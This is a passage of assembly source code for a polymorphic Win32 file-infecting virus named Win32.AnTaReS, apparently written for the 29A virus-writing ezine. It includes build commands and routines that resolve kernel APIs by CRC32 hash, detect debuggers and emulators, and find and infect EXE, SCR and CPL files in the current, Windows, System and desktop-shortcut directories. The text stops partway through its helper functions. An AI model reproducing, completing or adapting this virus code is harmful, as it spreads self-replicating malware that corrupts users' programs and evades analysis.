;####################################[Win32.AnTaReS by PiKaS]#####
;#
;# Author: PiKaS         @0@0@ @   @ @0@0@ @0@0@ @0@0@ @0@0@ @0@0@
;#                       0   0 0@  0   0   0   0 0   0 0     0
;# lordjoker@hotmail.com @0@0@ @ 0 @   @   @0@0@ @0@0@ @0@0@ @0@0@
;#                       0   0 0  @0   0   0   0 0  @  0         0
;# Name: Win32.AnTaReS   @   @ @   @   @   @   @ @   @ @0@0@ @0@0@
;#
;#################################################################

;#################################################################
;# AnTaReS / Alpha Sco                      #
;#  Distance: 604.01 ly                    ###+++++++++++++++
;#  Abs. Mag: -5.28                       #####
;#  Luminosity: 11,100xSun               #######+++++++++++++++++
;#  Class: M1 l-b                         #####
;#  Radius: 449.59xSun                     ###+++++++++++++++
;#  Surface temp: 3,720K                    #
;#################################################################

;#################################################################
;#
;# Characteristics:
;# ----------------
;# - Target: Portable Exe (PE), SCR, CPL
;# - Get Apis using CRC32 with SEH protection
;# - EPO (Patch Masm/Tasm calls randomly)
;# - PolyMorphic Virus (using [ETMS] by b0z0/iKX)
;# - Find Targets through Link Files (Current dir and Desktop dir)
;# - Resident Per-Process (Hooks APIs like CreateFileA, etc...
;#    and extract a new path for infections)
;# - Direct Action Virus (Windows, System and Actual Directories)
;# - Anti-Debugging (Jump if a Debug program is detected...SoftIce)
;# - CRC32 CheckSum File (Rebuild CRC32 of Infected Files)
;# - Detect SFC protected files and Installation Kits
;# - Use Size Padding to avoid reinfections
;#    (also used with failed infections to scan faster)
;#
;# Payload:
;# --------
;# - Graphic payload -> If 31th a BioHazard symbol appear on window
;#
;# Size: ---> 14156 Bytes (10.2Kb Min. Size - 13.8Kb Max. Size) <---
;# -----
;#          [EPO]-->[DECRIPTOR][VIRUS_BODY/VIRUS_DATA]
;#
;# To Build this:
;# --------------
;# - tasm32 -m7 -ml -q -zn AnTaReS.asm
;# - tlink32 -Tpe -c -aa -v AnTaReS ,,, import32
;# - pewrsec AnTaReS.exe
;#
;# Author Notes:
;# ------------- 
;# - This Virus is dedicated to all VXers and friends
;# - Thanks to Dream Theater and Bind Guardian Music
;# - To Asimov Books (about the Universe, etc...) ;)
;# - Sorry for my poor English :P
;#
;# Disclaimer:
;# -----------
;# - This software is for research purposes only
;# - The author is not responsible for any problems
;#    caused due to improper or illegal usage of it
;#		
;#################################################################

;#################################################################
;#
;# Notes:
;# ------
;# - Win32.AnTaReS was written to be published in 29A-ezine(9)...
;#    The ezine was never released and 29A has recently gone
;#    retired. VirusBuster, GriYo, Wintermute... I will miss you
;#    Thanks for your work, you are my personal heroes
;#
;#################################################################

.586p
.model flat,stdcall

;#################################################################
;# Apis for Host code
;#################################################################
extrn   ExitProcess:proc
extrn   MessageBoxA:proc

;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
;#################################################################
;# General Definitions 
;#################################################################
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

;#################################################################
;# Definitions (Main)
;#################################################################
@VirusSize      equ     offset @VirusEnd - offset @VirusBegin
@VirusBodySize  equ     offset @VirusEnd - offset @VirusBodyBegin
@DeltaCritical  equ     offset @Critical - offset @VirusBodyBegin

;#################################################################
;# Definitions (File Handle)
;#################################################################
OPEN_EXISTING           equ     3       ; Some useful definitions
GENERIC_READ            equ     80000000h
GENERIC_WRITE           equ     40000000h
PAGE_READWRITE          equ     00000004h
FILE_MAP_ALL_ACCESS     equ     000F001Fh

;#################################################################
;# Definitions (Find Files)
;#################################################################
MAX_PATH        equ     260             ; The Max Long of Path

FILETIME struc                          ; File Time Struct
 FT_dwLowDateTime       dd      ?
 FT_dwHighDateTime      dd      ?
FILETIME ends

WIN32_FIND_DATA struc                   ; Find File Struct
 WFD_dwFileAttributes           dd              ?
 WFD_ftCreationTime             FILETIME        ?
 WFD_ftLastAccessTime           FILETIME        ?
 WFD_ftLastWriteTime            FILETIME        ?
 WFD_nFileSizeHigh              dd              ?
 WFD_nFileSizeLow               dd              ?
 WFD_dwReserved0                dd              ?
 WFD_dwReserved1                dd              ?
 WFD_szFileName                 db      MAX_PATH DUP (?)
 WFD_szAlternateFileName        db      13 DUP (?)
                                db      3 DUP (?)
WIN32_FIND_DATA ends

;#################################################################
;# Definitions (Find Link Files)
;#################################################################
HKEY_CURRENT_USER       equ     080000001h
KEY_READ                equ     000000019h

;#################################################################
;# Definitions (Payload)
;#################################################################
SM_CXSCREEN     equ     00000000h       ; To get the resolution of screen
SM_CYSCREEN     equ     00000001h
IDI_WARNING     equ     00007F03h       ; A warning Icon
MB_ICONHAND     equ     00000010h       ; A warning Sound

SYSTEMTIME struct                       ; Struct to check the actual date
 wYear          dw      ?
 wMonth         dw      ?
 wDayOfWeek     dw      ?
 wDay           dw      ?
 wHour          dw      ?
 wMinute        dw      ?
 wSecond        dw      ?
 wMilliseconds  dw      ?
SYSTEMTIME ends

;#################################################################
;# Definitions (Virus Core)
;#################################################################
FILE_ATTRIBUTE_NORMAL   equ     00000080h
GPTR                    equ     00000040h

;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
;#################################################################
;# Host Data and Code Sections 
;#################################################################
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
.data
Antares db      'PiKaS LaBs 05',0       ; A Message Box text
Text    db      'PiKaS LaBs / Win32.AnTaReS',0

.code
HostStart:
	xor     eax,eax                 ; The Host code
	push    eax
	push    offset Antares
	push    offset Text             ; A simple Message Box
	push    eax
	call    @VirusBegin             ; Call to MessageBoxA has been patched ;)
	xor     eax,eax                 ; And finish!
	push    eax
	call    ExitProcess

;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
;#################################################################
;# Virus Code (win32.AnTaReS)
;#################################################################
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

;#################################################################
;# Virus Main Body
;#	In: No Input
;#	Out: No Output
;#################################################################
@VirusBegin:
	pushad                          ; Save the Host registes
	pushfd
@Decryptor:     db      1000h dup (90h) ; Decryptor of virus body
@VirusBodyBegin:
	call    GetDelta                ; Just take the delta offset
;#################################################################
;# Set SEH (Exception Handling)
;#################################################################
SetSeh:
	push    ebp
	call    Set@1                   ; Push in Stack the New Excp Handler
	mov     esp,[esp+08h]           ; If Excp -> Set Stack and go out
	jmp     ResetSeh
Set@1:
	xor     ebx,ebx
	push    dword ptr fs:[ebx]      ; Push in Stack old Excp Handler (Chain)
	mov     fs:[ebx],esp            ; Set new Excp Handler
	call    GetApiAddress           ; Get all apis address from Kernel
	or      eax,eax  
	jz      ResetSeh
	call    GetSeed                 ; Init the random number generator
	call    AntiDebug               ; Check if a debugger is present
	or      eax,eax                 ; Ups! skip and go out
	jz      ResetSeh
	call    FindBody                ; Main search virus body
	call    Payload                 ; Whahaha... a graphic payload
;#################################################################
;# Reset SEH (Exception Handling)
;#################################################################
ResetSeh:
	xor     ebx,ebx
	pop     dword ptr fs:[ebx]      ; Recover old Excp Handler
	pop     ebx
	pop     ebp
	call    PatchVirusEntryPoint    ; Go to Host taking care of relocations
	popfd                           ; Pop host registers
	popad
	push    20202020h               ; And finish! :)
@ReturnHost     equ     $-4
	ret

;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
;#################################################################
;# Get Kernel Apis
;#################################################################
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

;#################################################################
;# Get Kernel Address
;#	In: eax=AddrCreateProcess
;#	Out: eax=AddrBaseKernel Error: eax=00h
;#################################################################
GetKernelAddress proc
	push    ebx ecx edx             ; Save registers
	mov     ecx,05h                 ; Only 5 times
	shr     eax,10h                 ; Sth like AND EAX,0FFFF0000h
GetKernel@1:
	shl     eax,10h
	mov     bx,[eax]                ; Is the Kernel Base Image?
	cmp     bx,'ZM'
	jnz     GetKernel@2
	mov     edx,eax
	add     edx,[eax+3Ch]
	mov     bx,[edx]                ; Is a Portable Exe?
	cmp     bx,'EP'
	jz      GetKernel@3             ; Great!
GetKernel@2:
	shr     eax,10h                 ; Ups! One more time
	dec     eax
	loop    GetKernel@1
	xor     eax,eax                 ; Ups! bad news.. :(
GetKernel@3:
	pop     edx ecx ebx             ; Pop registers
	ret
GetKernelAddress endp

;#################################################################
;# Get All Api Address
;#	In: eax=AddrBaseKernel esi->ApisCrc32Struct
;#	Out: (ApisAddrFull) Error: eax=00h
;#################################################################
GetAllApiAddress proc
	push    ebx ecx eax             ; Save registers
	mov     ebx,[eax+3Ch]           ; Move to the Kernel Base
	add     eax,ebx
	mov     ebx,[eax+78h]           ; And now the Export Section
	pop     eax
	mov     ecx,eax
	add     eax,ebx
	mov     ebx,[eax+18h]           ; Get the total number of apis
	or      ebx,ebx                 ;  imported by name
	jz      GetAll@6
	mov     [@NumberNames+ebp],ebx
	mov     ebx,[eax+1Ch]
	add     ebx,ecx
	mov     [@AddressTable+ebp],ebx ; Get the Addr of Address Table
	mov     ebx,[eax+24h]
	add     ebx,ecx
	mov     [@OrdinalTable+ebp],ebx ; Get the Addr of Ordinal Table
	mov     ebx,[eax+20h]
	add     ebx,ecx
	mov     [@NameTable+ebp],ebx    ; And get the Addr of Name Table
	push    edx edi esi             ; Save registers
	xor     eax,eax
	mov     edi,esi
SetZero@1:
	cmp     byte ptr[edi],0EEh      ; Is the last in the table?
	jz      SetZero@2
	add     edi,04h
	stosd                           ; Set zero all the Api Struct
	jmp     SetZero@1
SetZero@2:
	xor     edx,edx                 ; Set zero the counter
	mov     esi,ebx                 ; Set esi -> Name Table
GetAll@1:
	lodsd
	add     eax,ecx
	mov     edi,eax                 ; Now edi -> Api Name (in Name Table)
	call    GetStringLong           ; Get the String Long
	mov     esi,edi                 ; Set esi -> Api Name String
	mov     edi,eax                 ; Set edi = Api Name Long
	call    GetStringCrc32          ; And the new Crc32 of the String
	pop     esi
	push    esi                     ; esi -> ApisCrc32Struc
	mov     ebx,eax                 ; Save the Crc32 in ebx
	xor     edi,edi                 ; Counter of Apis left
GetAll@2:
	cmp     byte ptr[esi],0EEh      ; If we finish the ApisCrc32Struc 
	jz      GetAll@3                ;  then go out the loop
	lodsd
	sub     eax,ebx                 ; Check if we need the Api
	jz      GetAll@4
	lodsd                           ; If not go on (and Inc the Counter
	or      eax,eax                 ;  of Apis Letft)
	jnz     GetAll@2
	inc     edi
	jmp     GetAll@2
GetAll@4:                               ; Then get the Api Address
	push    ebx                     ; Save registers
	mov     eax,edx
	shl     eax,01h
	add     eax,[@OrdinalTable+ebp] ; Get the Ordinal of Api 
	movzx   ebx,word ptr[eax]
	shl     ebx,02h
	add     ebx,[@AddressTable+ebp] ; Get the RVA of Api
	mov     eax,[ebx]
	add     eax,ecx                 ; Add the Kernel Base
	push    edi
	mov     edi,esi
	stosd                           ; Storage the Address in the Struct
	pop     edi ebx                 ; Pop registers
	lodsd
	jmp     GetAll@2
GetAll@3:
	or      edi,edi                 ; Check the Counter of Apis left
	jz      GetAll@5                ; We need no more Apis... finish
	inc     edx                     ; Inc the Name number
	mov     esi,edx
	shl     esi,02h
	add     esi,[@NameTable+ebp]    ; Set again esi and go back
	dec     [@NumberNames+ebp]
	jnz     GetAll@1                ; No more names? ups...
	pop     esi edi edx
GetAll@6:
	xor     eax,eax
	pop     ecx ebx
	ret
GetAll@5:
	xor     eax,eax                 ; No error... all under control
	inc     eax
	pop     esi edi edx ecx ebx     ; Pop registers
	ret
GetAllApiAddress endp

;#################################################################
;# Get Api Address
;#	In: @ImageBase
;#	Out: (eax not zero) Error: eax=00h
;#################################################################
GetApiAddress proc
	mov     ebx,[@ImageBase+ebp]
	mov     esi,ebx
	add     esi,[ebx+3Ch]           ; Get the Portable Exe header
	add     esi,80h
	lodsd
	or      eax,eax                 ; Test if we have import header
	jz      GetImport@1
	add     eax,ebx
	mov     ecx,eax                 ; Well, take a look at the import module
GetImport@2:
	mov     esi,[ecx+0Ch]
	or      esi,esi                 ; If the last go out
	jz      GetImport@1
	add     esi,ebx
	lodsd
	or      eax,20202020h           ; Make the string low case
	cmp     eax,'nrek'
	jnz     GetImport@3
	lodsd
	or      eax,20202020h
	cmp     eax,'23le'              ; It's the kernel import module?
	jz      GetImport@4
GetImport@3:
	add     ecx,14h                 ; Nop, try another one
	jmp     GetImport@2
GetImport@4:
	mov     esi,[ecx+10h]           ; Fine! get some apis address
	or      esi,esi
	jz      GetImport@1
	add     esi,ebx
	lea     edi,[@ApisCrc32+ebp]
GetImport@5:
	lodsd                           ; Load the first one
	or      eax,eax
	jz      GetImport@1             ; Is it the last? well...
	call    GetKernelAddress        ; Get the library base of imported api
	or      eax,eax
	jz      GetImport@5             ; Error?... try with other one
	mov     [@KernelBase+ebp],eax
	xchg    esi,edi
	call    GetAllApiAddress        ; Save the base and try to get all the apis
	or      eax,eax                 ; Error?... try with other one
	jnz     GetImport@6             ; Great! we got them... go out :D
	xchg    esi,edi
	jmp     GetImport@5
GetImport@1:
	xor     eax,eax                 ; Ups, this is critical... bad luck
	ret
GetImport@6:
	xor     eax,eax
	inc     eax                     ; well done... we have the correct address
	ret
GetApiAddress endp

;#################################################################
;# Get String Long
;#	In: edi->String
;#	Out: eax=StringLong
;#################################################################
GetStringLong proc
	push    edi                     ; Save edi
	xor     al,al
	scasb                           ; Scan String till null char
	jnz     $-1
	mov     eax,edi
	pop     edi
	sub     eax,edi                 ; Get the String Long
	ret
GetStringLong endp

;#################################################################
;# Get String Crc32
;#	In: esi->String edi=StringLong
;#	Out: eax=Crc32String
;#################################################################
GetStringCrc32 proc
	push    ebx ecx edx             ; Save registers
	cld
	xor     ecx,ecx                 ; Set ecx=0FFFFFFFFh
	dec     ecx
	mov     edx,ecx
GetCrc@1:                               ; Now the next Byte Crc32
	xor     eax,eax                 ; Set eax and ebx zero
	xor     ebx,ebx
	lodsb                           ; Get one byte of String
	xor     al,cl
	mov     cl,ch
	mov     ch,dl
	mov     dl,dh
	mov     dh,08h
GetCrc@2:                               ; Next Bit Crc32
	shr     bx,01h
	rcr     ax,01h
	jnc     GetCrc@3
	xor     ax,08320h
	xor     bx,0EDB8h
GetCrc@3:                               ; Finish... no Crc32
	dec     dh
	jnz     GetCrc@2
	xor     ecx,eax
	xor     edx,ebx
	dec     edi                     ; One byte less
	jnz     GetCrc@1
	not     edx
	not     ecx
	mov     eax,edx
	rol     eax,10h                 ; We got in eax the Crc32 of Api Name
	mov     ax,cx
	pop     edx ecx ebx             ; Pop registers
	ret
GetStringCrc32 endp

;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
;#################################################################
;# Find New Files
;#################################################################
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

;#################################################################
;# Find Body
;#	In: No Input
;#	Out: No Output
;#################################################################
FindBody proc
	call    LoadSfcLibrary          ; Check if Sfc is present and load it
	mov     edi,05h                 ; Number of Infections
	call    FindDirectAction        ; Call to Direct Action part
	lea     edi,[@Advapi32N+ebp]
	lea     esi,[@Advapi32+ebp]
	call    LoadNewLibrary          ; Load a Library we need
	or      eax,eax
	jz      FindBody@1              ; If not posible... go out
	mov     edi,05h                 ; Number of Infections
	call    FindLinkFiles           ; Call to Linked Files part
	lea     edi,[@Advapi32N+ebp]
	call    FreeNewLibrary          ; Free Library after use
FindBody@1:
	lea     esi,[@ApisCrc32Hooks+ebp]
	lea     edi,[@OffsetsHookStruct+ebp]
	call    SetAllHooks             ; Set the PerProcess part
	mov     eax,[@SfcIsFileProtected+ebp]
	or      eax,eax
	jz      FindBody@2
	lea     edi,[@SfcN+ebp]         ; Free the Sfc library
	call    FreeNewLibrary
FindBody@2:
	ret
FindBody endp

;#################################################################
;# Find Direct Action
;#	In: edi=Number of Files per Directory
;#	Out: No output
;#################################################################
FindDirectAction proc
	pushad                          ; Save all registers
	call    FindDirectory           ; Find and Infect files in actual dir
	lea     esi,[@PathOne+ebp]
	push    esi
	push    MAX_PATH                ; Get the current directory
	call    [@GetCurrentDirectoryA+ebp]
	or      eax,eax
	jz      FindAction@1
	push    MAX_PATH
	lea     esi,[@PathTwo+ebp]
	push    esi                     ; Get the Windows directory
	call    [@GetWindowsDirectoryA+ebp]
	or      eax,eax
	jz      FindAction@2
	lea     esi,[@PathTwo+ebp]
	push    esi                     ; Jump to Windows directory
	call    [@SetCurrentDirectoryA+ebp]
	or      eax,eax
	jz      FindAction@2
	call    FindDirectory           ; Find and Infect files in Windows dir
FindAction@2:
	push    MAX_PATH
	lea     esi,[@PathTwo+ebp]
	push    esi                     ; Get the System directory
	call    [@GetSystemDirectoryA+ebp]
	or      eax,eax
	jz      FindAction@3
	lea     esi,[@PathTwo+ebp]
	push    esi                     ; Jump to System directory
	call    [@SetCurrentDirectoryA+ebp]
	or      eax,eax
	jz      FindAction@3
	call    FindDirectory           ; Find and Infect files in System dir
FindAction@3:
	lea     esi,[@PathOne+ebp]
	push    esi                     ; Jump to the initial directory
	call    [@SetCurrentDirectoryA+ebp]
FindAction@1:
	popad                           ; Pop all registers
	ret
FindDirectAction endp

;#################################################################
;# Find Directory
;#	In: edi=Number of Files per Directory
;#	Out: No output
;#################################################################
FindDirectory proc
	push    edi                     ; Save edi register
	lea     esi,[@FindData+ebp]     ; Load Find Data Struct
	push    esi
	lea     esi,[@FindMask+ebp]     ; Looking for all type files (*.*)
	push    esi
	call    [@FindFirstFileA+ebp]   ; Call to FindFirstFileA Api
	inc     eax
	jz      FindDir@1               ; If no files go out... :(
	dec     eax
	mov     [@FindHandle+ebp],eax   ; Save the Find Handle
FindDir@4:
	call    CheckExtension          ; Check if file is EXE DLL SCR or CPL
	or      eax,eax
	jz      FindDir@2
	call    IsFileOk                ; Check if the file is infected etc...
	or      eax,eax
	jz      FindDir@2
	call    InfectFile              ; Infect the file
	or      eax,eax
	jz      FindDir@2
	dec     edi                     ; One file less
	jz      FindDir@3
FindDir@2:
	lea     esi,[@FindData+ebp]     ; Reload the Find Data Struct
	push    esi
	mov     eax,[@FindHandle+ebp]   ; The Find Handle
	push    eax
	call    [@FindNextFileA+ebp]    ; Find more files in directory
	or      eax,eax
	jnz     FindDir@4
FindDir@3:
	mov     eax,[@FindHandle+ebp]   ; No more files, close the Find Handle
	push    eax
	call    [@FindClose+ebp]
FindDir@1:
	pop     edi                     ; Pop edi again (is a counter)
	ret
FindDirectory endp

;#################################################################
;# Check Extension
;#	In: @FindData
;#	Out: (eax not zero) Error: eax=00h
;#################################################################
CheckExtension proc
	push    edi                     ; Save edi register
	lea     edi,[@FindData.WFD_szFileName+ebp]
	call    GetStringLong           ; Get the String Long
	cmp     eax,05h                 ; If String too short skip and go
	jna     CheckExt@1
	mov     esi,edi
	add     esi,eax
	sub     esi,05h                 ; Get the last 4 bytes of string
	lodsd
	mov     ecx,04h
CheckExt@3:                             ; Make it Upper Case
	cmp     al,'a'
	jb      CheckExt@2
	cmp     al,'z'
	ja      CheckExt@2
	add     al,'A'-'a'
CheckExt@2:
	ror     eax,08h                 ; Next byte
	loop    CheckExt@3
	cmp     eax,'EXE.'              ; Is an EXE file?
	jz      CheckExt@4
	cmp     eax,'LPC.'              ; Is a CPL file?
	jz      CheckExt@4
	cmp     eax,'RCS.'              ; Is a SCR file?
	jz      CheckExt@4
CheckExt@1:                             ; If not... just make eax zero
	xor     eax,eax
CheckExt@4:
	pop     edi                     ; Fine! go back
	ret
CheckExtension endp

;#################################################################
;# Find Link Files
;#	In: edi=Number of Files per Directory
;#	Out: No output
;#################################################################
FindLinkFiles proc
	pushad
	call    FindLink                ; Find Link files in current dir
	lea     esi,[@PathOne+ebp]
	push    esi
	push    MAX_PATH                ; Get Current directory
	call    [@GetCurrentDirectoryA+ebp]
	or      eax,eax
	jz      FindLink@1
	lea     esi,[@PathTwo+ebp]
	call    GetDesktopDirectory     ; Get Desktop directory
	or      eax,eax                 ; Error... skip action
	jz      FindLink@1
	lea     esi,[@PathTwo+ebp]
	push    esi
	call    [@SetCurrentDirectoryA+ebp]
	or      eax,eax                 ; Jump to the Desktop dir
	jz      FindLink@1
	call    FindLink                ; Find Link files in Desktop dir
	lea     esi,[@PathOne+ebp]
	push    esi                     ; Go back to current dir
	call    [@SetCurrentDirectoryA+ebp]
FindLink@1:
	popad
	ret
FindLinkFiles endp

;#################################################################
;# Get Desktop Directory
;#	In: esi->Buffer for Desktop Directory
;#	Out: Get the Desktop in Buffer Error: eax=00h
;#################################################################
GetDesktopDirectory proc
	push    edi
	xor     eax,eax
	lea     edi,[@RegHandle+ebp]    ; Handle of Register we want check
	push    edi
	push    KEY_READ                ; Only read a value
	push    eax
	lea     edi,[@SubKey+ebp]       ; The Subkey we're looking for
	push    edi
	push    HKEY_CURRENT_USER       ; Yes... in this register place
	call    [@RegOpenKeyExA+ebp]    ; Open the key
	or      eax,eax
	jnz     GetDesktop@1
	lea     edi,[@RegSize+ebp]      ; Push the buffer size
	push    edi
	push    esi
	lea     edi,[@RegType+ebp]      ; The text is REG_SZ
	push    edi
	push    eax
	lea     edi,[@RegName+ebp]      ; We want the Desktop value
	push    edi
	mov     eax,[@RegHandle+ebp]    ; This is the Handle before
	push    eax
	call    [@RegQueryValueExA+ebp] ; Query the register value
	or      eax,eax
	jnz     GetDesktop@2
	mov     edi,esi
	call    GetStringLong           ; Check if the path is valid
	dec     eax
	jz      GetDesktop@2
	inc     eax
	add     esi,eax
	sub     esi,02h
	lodsb
	cmp     al,'\'                  ; If not valid put \ after asciiz
	jz      GetDesktop@3
	mov     edi,esi
	mov     ax,'\'
	stosd
GetDesktop@3:
	mov     eax,[@RegHandle+ebp]    ; Close the opened register
	push    eax
	call    [@RegCloseKey+ebp]
	or      eax,eax
	jnz     GetDesktop@1
	inc     eax
	pop     edi                     ; Output: eax not zero
	ret
GetDesktop@2:
	mov     eax,[@RegHandle+ebp]
	push    eax
	call    [@RegCloseKey+ebp]
GetDesktop@1:
	xor     eax,eax                 ; Output: eax zero (error)
	pop     edi
	ret
GetDesktopDirectory endp

;#################################################################
;# Find Link
;#	In: edi=Number of Files per Directory
;#	Out: No output
;#################################################################
FindLink proc
	push    edi                     ; Save edi register
	lea     esi,[@FindData+ebp]     ; Load Find Data Struct
	push    esi
	lea     esi,[@FindLink+ebp]     ; Looking for link files (*.LNK)
	push    esi
	call    [@FindFirstFileA+ebp]   ; Call to FindFirstFileA Api
	inc     eax
	jz      FindLinkFile@1          ; If no files go out... :(
	dec     eax
	mov     [@FindHandle+ebp],eax   ; Save the Find Handle
FindLinkFile@4:
	call    ExtractLink             ; Extract the Linked file target
	call    CheckExtension          ; Check if file is EXE DLL SCR or CPL
	or      eax,eax                 ; If not go on with other files
	jz      FindLinkFile@2
	call    IsFileOk                ; Check if the file is infected etc...
	or      eax,eax
	jz      FindLinkFile@2
	call    InfectFile              ; Infect the file
	or      eax,eax
	jz      FindLinkFile@2
	dec     edi                     ; One file less
	jz      FindLinkFile@3
FindLinkFile@2:
	lea     esi,[@FindData+ebp]     ; Reload the Find Data Struct
	push    esi
	mov     eax,[@FindHandle+ebp]   ; The Find Handle
	push    eax
	call    [@FindNextFileA+ebp]    ; Find more files in directory
	or      eax,eax
	jnz     FindLinkFile@4
FindLinkFile@3:
	mov     eax,[@FindHandle+ebp]   ; No more files, close the Find Handle
	push    eax
	call    [@FindClose+ebp]
FindLinkFile@1:
	pop     edi                     ; Pop edi again (is a counter)
	ret
FindLink endp

;#################################################################
;# Extract Link
;#	In: edi=Number of Files per Directory
;#	Out: No output
;#################################################################
ExtractLink proc
	push    edi ecx
	lea     esi,[@FindData.WFD_szFileName+ebp]
	call    CreateFile              ; Open the Link file
	inc     eax
	jz      Extract@1               ; If error go out
	dec     eax
	mov     [@OpenHandle+ebp],eax   ; Push some values and create a map
	mov     edi,[@FindData.WFD_nFileSizeLow+ebp]
	mov     esi,[@FindData.WFD_nFileSizeHigh+ebp]
	call    FileMapping
	or      eax,eax
	jz      Extract@2               ; If error close file
	mov     [@MapHandle+ebp],eax
	call    MapViewOfFile           ; Map it now!
	or      eax,eax
	jz      Extract@3
	mov     [@FileAddr+ebp],eax     ; Save the file Addr
	mov     ecx,[eax]
	cmp     ecx,'L'                 ; Check for Link valid file
	jnz     Extract@4
	mov     ecx,[eax+14h]           ; Look if file has item ID list
	and     ecx,03h                 ;  and points to a file or dir
	cmp     ecx,03h
	jnz     Extract@4               ; If not skip and go out
	mov     esi,eax
	xor     eax,eax
	add     esi,4Ch
	lodsw
	add     esi,eax                 ; Jump over item ID list
	mov     ecx,[esi+08h]
	and     ecx,01h                 ; Check we have local volume
	jz      Extract@4
	mov     eax,[esi+10h]           ; Go to the local volume
	add     esi,eax
	mov     edi,esi
	call    GetStringLong
	mov     ecx,eax                 ; Set some registers and copy it
	lea     edi,[@FindData.WFD_szFileName+ebp]
	cld
	rep     movsb
Extract@4:
	mov     eax,[@FileAddr+ebp]     ; Unmap the Link file
	call    UnmapViewOfFile
Extract@3:
	mov     eax,[@MapHandle+ebp]
	call    CloseHandle             ; Close the mapped file
Extract@2:
	mov     eax,[@OpenHandle+ebp]
	call    CloseHandle             ; And close the open file
Extract@1:
	pop     ecx edi
	ret
ExtractLink endp

;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
;#################################################################
;# Useful Functions
;#################################################################
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

;#################################################################
;# Get Seed
;#	In: No Input
;#	Out: No Output
;#################################################################
GetSeed proc
	call    [@GetTickCount+ebp]
	mov     [@Random+ebp],eax
	ret
GetSeed endp

;#################################################################
;# Get Random
;#	In: No Input
;#	Out: eax=RandomValue
;#################################################################
GetRandom proc
	mov     eax,[@Random+ebp]
	imul    eax,eax,65h
	add     eax,0167h
	mov     [@Random+ebp],eax
	ret
GetRandom endp

;#################################################################
;# Align
;#	In: eax=ValueToAlign ecx=AlignFactor
;#	Out: eax=AlignedValue
;#################################################################
Align proc
	push    edx
	xor     edx,edx                 ; Make edx zero
	push    eax
	div     ecx                     ; Div eax with ecx align factor
	pop     eax
	sub     ecx,edx                 ; Add to eax the rest to have
	add     eax,ecx                 ;  an aligned value
	pop     edx
	ret
Align endp

;#################################################################
;# Trunc File
;#	In: ebx=Size to Move
;#	Out: (eax not zero) Error: eax=00h
;#################################################################
TruncFile proc
	xor     eax,eax
	push    eax                     ; Pointer from start of file
	push    eax
	push    ebx                     ; Move this size
	push    [@OpenHandle+ebp]       ; File handle
	call    [@SetFilePointer+ebp]   ; Move the file pointer
	push    [@OpenHandle+ebp]
	call    [@SetEndOfFile+ebp]     ; And make this point the EOF
	ret
TruncFile endp

;#################################################################
;# Anti Debug
;#	In: No Input
;#	Out: eax=01h (no debug) eax=00h (debug)
;#################################################################
AntiDebug proc
	push    ebp
AntiEmul@1:
	call    AntiEmul@2              ; Push in Stack the New Excp Handler
	mov     esp,[esp+08h]           ; If Excp -> Set Stack and go out
	jmp     AntiEmul@3
AntiEmul@2:
	xor     eax,eax
	push    dword ptr fs:[eax]      ; Push in Stack old Excp Handler (Chain)
	mov     fs:[eax],esp            ; Set new Excp Handler
	div     eax                     ; Cause an Exception to fuck some emul/debug
	jmp     AntiEmul@1
AntiEmul@3:
	xor     eax,eax
	pop     dword ptr fs:[eax]      ; Recover old Excp Handler
	pop     eax
	pop     ebp
	lea     esi,[@SoftIceA+ebp]
	call    CreateFile              ; Try to check SoftIce debugger in win9X
	inc     eax
	jz      AntiDebug@2
	dec     eax
	call    CloseHandle
	jmp     AntiDebug@1
AntiDebug@2:
	lea     esi,[@SoftIceB+ebp]
	call    CreateFile              ; Try to check SoftIce debugger in winNT
	inc     eax
	jz      AntiDebug@3
	dec     eax
	call    CloseHandle
AntiDebug@1:
	xor     eax,eax                 ; Hummm... skip and go out
	ret
AntiDebug@3:
	inc     eax                     ; Fine... no debugger present, go on!
	ret
AntiDebug endp

;#################################################################
;# Create File
;#	In: esi->File Name
;#	Out: eax=OpenHandle Error: eax=-1
;#################################################################
CreateFile proc
	xor     eax,eax
	push    eax                     ; Push normal values
	push    eax
	push    OPEN_EXISTING           ; Open a file if existing
	push    eax
	inc     eax
	push    eax
	push    GENERIC_READ or GENERIC_WRITE
	push    esi                     ; With permision for read / write
	call    [@CreateFileA+ebp]
	ret
CreateFile endp

;#################################################################
;# File Mapping
;#	In: esi=FileSizeHigh edi=FileSizeLow eax=OpenHandle
;#	Out: eax=MapHandle Error: eax=00h
;#################################################################
FileMapping proc
	push    ebx
	xor     ebx,ebx
	push    ebx
	push    edi                     ; File Size Low
	push    esi                     ; File Size High
	push    PAGE_READWRITE          ; Read / write permision in page
	push    ebx
	push    eax                     ; Open Handle
	call    [@CreateFileMappingA+ebp]
	pop     ebx
	ret
FileMapping endp

;#################################################################
;# Map View Of File
;#	In: esi=FileSizeHigh edi=FileSizeLow eax=MapHandle
;#	Out: eax=FileAddr Error: eax=00h
;#################################################################
MapViewOfFile proc
	push    ebx
	xor     ebx,ebx
	push    edi                     ; File Size Low
	push    ebx
	push    ebx
	push    FILE_MAP_ALL_ACCESS     ; All type of access in map
	push    eax                     ; Map Handle
	call    [@MapViewOfFile+ebp]
	pop     ebx
	ret
